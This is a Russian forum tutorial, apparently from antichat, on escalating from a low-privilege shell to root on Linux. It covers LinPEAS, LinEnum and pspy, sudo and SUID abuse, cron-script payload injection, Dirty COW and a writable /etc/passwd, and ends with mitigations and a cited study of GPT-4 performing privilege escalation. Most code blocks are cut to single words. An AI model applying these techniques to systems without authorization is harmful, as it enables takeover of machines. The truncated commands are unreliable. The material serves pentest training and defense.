![]() |
https://forum.antichat.xyz/attachmen...8b15d58732.png
Ты получил shell на машине. Курсор мигает от имени Код:
www-dataКод:
low-priv-userЧто такое privilege escalation Linux и зачем это пентестеру Эскалация привилегий Linux - получение более высоких прав в системе, чем те, что есть у текущего пользователя. В терминах MITRE ATT&CK это целая тактика Privilege Escalation с десятками техник: от Exploitation for Privilege Escalation (T1068) до Setuid and Setgid (T1548.001) и Sudo and Sudo Caching (T1548.003). На практике повышение привилегий - обязательный этап любого пентеста. Получив initial access, атакующий видит систему глазами непривилегированного пользователя. Чтобы стянуть хеши из Код:
/etc/shadowПовышение привилегий бывает двух видов:
Ручная разведка: первые команды после foothold Прежде чем запускать автоматику, я всегда делаю базовую разведку руками. Две минуты работы, зато потом вывод LinPEAS читается осмысленно, а не как простыня текста. Команды ниже покрывают несколько техник Discovery по MITRE ATT&CK: Код:
whoamiКод:
idКод:
hostnameКод:
uname -aКод:
cat /etc/os-releaseКто я и где я Bash: Код:
whoamiКод:
idКод:
dockerКод:
lxdКод:
diskПроверка sudo Bash: Код:
sudoКод:
sudo -lКод:
NOPASSWDПоиск SUID-бинарей Bash: Код:
findCron-задачи и таймеры Bash: Код:
catBash: Код:
ipBash: Код:
historyLinPEAS: автоматизация разведки для повышения привилегий LinPEAS (Linux Privilege Escalation Awesome Script) автоматизирует всё, что я описал выше, и добавляет сотни проверок сверху. Я запускаю его на каждой машине после ручной разведки, потому что глаз пропускает вещи: capabilities на бинарях, writable PATH-директории, утечки токенов в переменных окружения. LinPEAS это находит. Как запустить LinPEAS Ты уже на целевой машине. Способ доставки зависит от ситуации: Вариант 1 - через HTTP-сервер атакующего: Bash: Код:
# На атакующей машине (Kali/Parrot):Bash: Код:
# На целевой машине:Bash: Код:
curlКод:
/procКод:
auditdКак читать вывод LinPEAS LinPEAS использует цветовую маркировку. Вот что реально важно: ЦветЗначениеДействиеКрасн ый/ЖёлтыйС вероятностью 95% это вектор повышения привилегийЭксплуатируй - почти наверняка рабочий векторКрасныйНужно изучить - может потребовать дополнительных условийКопни глубже перед эксплуатациейЗелёныйИнтер есная информация для дальнейшего анализаЗапомни на потомСинийОбычная системная информацияИспользуй для контекста Лично я сначала пролистываю весь вывод, выцепляя красно-жёлтые строки. Чаще всего они указывают на:
LinEnum - ещё один скрипт для перечисления системной информации. Он менее детализирован, чем LinPEAS, зато работает быстрее и даёт чистый, легко читаемый вывод. Я беру LinEnum, когда нужна скорость или когда LinPEAS по какой-то причине не запускается (бывает на урезанных контейнерах). Запуск LinEnum Bash: Код:
# Доставка аналогична LinPEAS:Сравнение инструментов автоматизации ИнструментНазначениеЦвето вая маркировкаСкоростьГлубина LinPEASПолная разведка привилегийДаСредняяМаксим альнаяLinEnumПеречисление системной информацииНетВысокаяСредн яяpspyМониторинг процессов без rootНетРеальное времяУзкая (процессы)Linux Exploit SuggesterПоиск kernel exploitsНетВысокаяУзкая (ядро)Linux Smart EnumerationПеречисление с уровнями детализацииЧастичноСредня яНастраиваемая pspy заслуживает отдельного слова. Это штука для мониторинга процессов в реальном времени без root-прав. Незаменима, когда cron-задача выполняется по расписанию, но не видна в Код:
/etc/crontabBash: Код:
# Запуск pspy:Теория - хорошо, но без практики это просто буквы. Для каждой техники - сценарий, команды и объяснение, почему это работает. Sudo misconfiguration: злоупотребление правами sudo Техника Sudo and Sudo Caching (T1548.003, Privilege Escalation / Defense Evasion) - самый частый вектор на CTF и один из самых распространённых в реальных средах. Шаг 1 - проверяем sudo-права: Bash: Код:
sudoКод: Код:
User www-data may run the following commands on target:Идём на GTFOBins и ищем Код:
findBash: Код:
sudoBash: Код:
sudoКод:
findКод:
-execКод:
NOPASSWDДругие опасные бинари в sudo: Код:
vimКод:
nanoКод:
lessКод:
awkКод:
perlКод:
pythonКод:
rubyКод:
envКод:
manКод:
sudo -lSUID бит Linux: эксплуатация через бинари с setuid SUID-бит (Set User ID upon execution) - специальное разрешение, при котором файл выполняется с правами владельца. Техника Setuid and Setgid (T1548.001, Privilege Escalation / Defense Evasion). Шаг 1 - находим SUID-бинари: Bash: Код:
findКод: Код:
131085 40 -rwsr-xr-x 1 root root 40152 Jan 27 2020 /usr/bin/mountКод:
mountКод:
passwdКод:
pingКод:
/opt/custom-backupШаг 2 - анализируем нестандартный бинарь: Bash: Код:
fileКод:
stringsКод:
cpКод:
/usr/bin/cpКод:
system()Код:
popen()Код:
execve()Код:
ltraceКод:
straceШаг 3 - эксплуатация через PATH: Bash: Код:
# Создаём вредоносный "cp" в /tmp:Код:
-pКод:
-pЦитата:
Cron-задачи - любимый вектор пентестеров. Админы создают скрипты бэкапа от root, а права на сами скрипты выставляют как попало. Классика жанра. Шаг 1 - находим cron-задачи: Bash: Код:
catКод: Код:
* * * * * root /opt/scripts/backup.shBash: Код:
lsКод:
777Шаг 3 - внедряем payload: Bash: Код:
echoBash: Код:
# Через минуту:Код:
/etc/crontabКод:
/procKernel exploit: эксплуатация уязвимостей ядра Техника Exploitation for Privilege Escalation (T1068, Privilege Escalation) - последнее средство, когда остальные векторы не сработали. Kernel exploits нестабильны и могут уронить систему, поэтому в реальном пентесте их используют с осторожностью (и с письменным согласием заказчика). Классический пример - Dirty COW (CVE-2016-5195). По данным NVD: race condition в Код:
mm/gup.cКод:
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:HРазбор CVSS-вектора (чтобы не казался магическими буквами):
Bash: Код:
# 1. Узнаём версию ядра:Writable /etc/passwd: добавление root-пользователя Если файл Код:
/etc/passwdBash: Код:
# Проверяем права:Пошаговый чейн: от shell до root Собираю всё в единый алгоритм - так я работаю на реальной машине: Делай раз - базовая разведка руками: Bash: Код:
whoamiКод:
sudo -lДелай два - запускай LinPEAS: Bash: Код:
curlКод:
getcap -r / 2>/dev/nullДелай три - мониторинг и глубокий анализ: Bash: Код:
# Если ничего не нашлось - запускай pspy:Как автоматика конкурирует с ручным анализом Согласно исследованию Happe и Cito (2023), «LLMs as Hackers: Autonomous Linux Privilege Escalation Attacks» (arxiv.org), GPT-4-Turbo успешно эксплуатировал от 33% до 83% уязвимостей в benchmark privilege escalation - сравнимо с результатами профессиональных пентестеров (75%). При этом даже продвинутые модели спотыкались на multi-step эксплуатации: например, не могли связать найденный SUID-бинарь с необходимостью проверить его в GTFOBins. Что это значит на практике? LinPEAS и LinEnum не заменяют думающего пентестера. Скрипт покажет данные, но связать находки в рабочий чейн - твоя работа. LinPEAS может пометить Код:
/usr/bin/python3Код:
cap_setuidBash: Код:
# Пример: Python с cap_setuidПонимание атак даёт понимание защиты. Конкретные рекомендации: Вектор атакиМера защитыSudo misconfigurationНикогда не давать sudo на shell-интерпретаторы, редакторы, find, awk. Строго определённые команды с полным путёмSUID на нестандартных бинаряхРегулярно аудитировать: Код:
find / -perm -4000 -type f -lsКод:
chmod u-s /path/to/binaryКод:
livepatchКод:
/etc/passwdКод:
/etc/shadowИтоги Повышение привилегий Linux - не магия и не набор готовых рецептов. Это системный процесс: разведка, анализ, эксплуатация. LinPEAS и LinEnum автоматизируют разведку, GTFOBins дают справочник по эксплуатации, pspy помогает увидеть скрытые процессы. А связать всё это в рабочий чейн - задача пентестера, не скрипта. Начни с лабораторий. На TryHackMe есть комнаты «Linux PrivEsc» и «Linux PrivEsc Arena», на HackerLab - десятки машин с различными векторами. Запускай LinPEAS на каждой, учись читать вывод, проверяй находки вручную. Через двадцать машин ты будешь видеть вектор быстрее, чем скрипт закончит работу. Проверено. |
Да LinPeas это чуть ли не основная утилита, для быстрого поиска повышения привелегий в linux системах. pspy тоже крутая утилита, для поиска процессов запускающихся и запущенных в реальном времени. Остальные утилиты уже давненько так на гитхабе не обновляются...
|
| Время: 10:41 |